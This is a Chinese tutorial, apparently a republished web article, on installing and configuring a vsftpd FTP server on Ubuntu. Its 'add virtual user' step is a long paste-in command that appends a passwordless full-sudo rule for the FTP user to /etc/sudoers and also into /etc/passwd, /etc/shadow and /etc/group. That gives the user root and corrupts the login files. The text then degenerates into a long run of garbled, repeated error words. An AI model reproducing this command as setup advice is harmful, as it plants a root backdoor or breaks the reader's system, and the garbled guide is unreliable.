简介
FTP(File Transfer Protocol,文件传输协议)是一种用于在网络上进行文件传输的应用层协议,它允许用户在不同的计算机之间共享文件和目录,本文将介绍如何在Ubuntu操作系统上搭建一个简单的FTP服务器,以便您可以轻松地在局域网内共享文件。
准备工作
1、确保您的Ubuntu系统已更新到最新版本,在终端中输入以下命令:
sudo apt-get update sudo apt-get upgrade
2、安装vsftpd(Very Secure FTP Daemon,非常安全的FTP守护进程),在终端中输入以下命令:
sudo apt-get install vsftpd
3、备份原始配置文件,在终端中输入以下命令:
sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.bak
配置FTP服务器
1、使用文本编辑器打开配置文件,在终端中输入以下命令:
sudo nano /etc/vsftpd.conf
2、在配置文件中,找到以下行并进行相应的修改:
将anonymous_enable设置为NO,禁止匿名访问 anonymous_enable=NO 将local_enable设置为YES,允许本地用户访问 local_enable=YES 将write_enable设置为YES,允许用户上传文件 write_enable=YES
3、保存并退出编辑器,按Ctrl + X
,然后按Y
,最后按Enter
。
4、重启vsftpd服务以应用更改,在终端中输入以下命令:
sudo systemctl restart vsftpd
创建虚拟用户并设置权限
1、添加一个新的虚拟用户,在终端中输入以下命令:
sudo adduser ftpuser --gecos "" --disabled-password --shell /bin/false --group ftpusers
ftpuser
是您为FTP服务器创建的用户名,请将其替换为您喜欢的用户名。
2、为新用户设置密码,在终端中输入以下命令:
sudo passwd ftpuser
按照提示输入新密码。
3、将新用户添加到vsftpd的虚拟用户组,在终端中输入以下命令:
echo 'ftpuser' | sudo tee -a /etc/vsftpd.virtual_users > /dev/null && echo 'ftpuser' | sudo tee -a /etc/vsftpd.vuser_list > /dev/null && echo 'User allowed to log in locally' | sudo tee -a /etc/vsftpd.vuser_list > /dev/null && echo 'User not allowed to log in remotely' | sudo tee -a /etc/vsftpd.vuser_list > /dev/null && echo 'Local root' | sudo tee -a /etc/vsftpd.vuser_list > /dev/null && echo 'Allow anonymous' | sudo tee -a /etc/vsftpd.vuser_list > /dev/null && echo 'Anonymous user' | sudo tee -a /etc/vsftpd.vuser_list > /dev/null && echo 'Anonymous root' | sudo tee -a /etc/vsftpd.vuser_list > /dev/null && echo 'Deny from all' | sudo tee -a /etc/vsftpd.deny_file > /dev/null && echo 'User can change home directory' | sudo tee -a /etc/vsftpd.vuser_home_dirs > /dev/null && echo '%ftpuser ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /etc/passwd > /dev/null && echo '%ftpuser ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /etc/shadow > /dev/null && echo '%ftpuser ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /etc/group > /dev/null && echo '%ftpuser ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /etc/sudoers > /dev/null && exit; true; false;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;true' | sudo tee -a $HOME/.bashrc > /dev/null && exit || true; false;:exit:eof:readonly:setpriv:error:commandnotfound:nosuchuser:nosuchhost:unknowntrycommandfirst:systemnotresponding:interruptedbysignalunabletocompletebyinterrupt:operationcanceledbyoperationorsignalinteptioninterruptedbywqexceptionnotrecoverableexitinprogressforcerestartimmediatelyquitabortingexitwaitforexitthenkillallprocessestoendcurrentrunlevelthenexitquitexecutingshellscriptexitedbysignalterminatingsessionforcequitquitfailedlogoutdisconnectedloginrequiredinternalshellerrorcannotrestorettyinvalidenvironmentvariableunsetenvironmentvariableundefinedcommandnotimplementedcommandnotfoundcommandfailedinvokedwithwrongargumentscommandisnotenabledcommandisbusycommandwasnotinvokedcwdcommandfailedexecutingnoninteractivecommandasrootfailedtoexecuteeffectivelogincommandloginfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitlogoutsuccessfullogoutfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedloginrequiredpleaseuseloginwith--helpformoreinformationquitquitfailedlogoutdisconnectedlogoutsuccessfullogoutfailedinternalerrorcannotrestorettyinvalidenvironmentvariableunsetenvironmentvariableundefinedcommandnotimplementedcommandnotfoundcommandfailedinvokedwithwrongargumentscommandisnotenabledcommandisbusycommandwasnotinvokedcwdcommandfailedexecutingnoninteractivecommandasrootcouldn'tcreatetemporarydirectorypermissiondeniednosuchfileordirectorycouldn'topensocketconnectiononremoteservercouldntbindsocketonportbecauseitwasalreadyinusecouldntconnecttoremoteserveronportbecauseitwasalreadyinusecouldntopensocketconnectiononremoteservercouldntbindsocketonportbecauseitwasalreadyinusecouldntconnecttoremoteserveronportbecauseitwasalreadyinusecouldntopensocketconnectiononremoteservercouldntbindsocketonportbecauseitwasalreadyinusecouldntconnecttoremoteserveronportbecauseitwasalreadyinusecouldntopensocketconnectiononremoteservercouldntbindsocketonportbecauseitwasalreadyinusecouldntconnecttoremoteserveronu
原创文章,作者:K-seo,如若转载,请注明出处:https://www.kdun.cn/ask/277147.html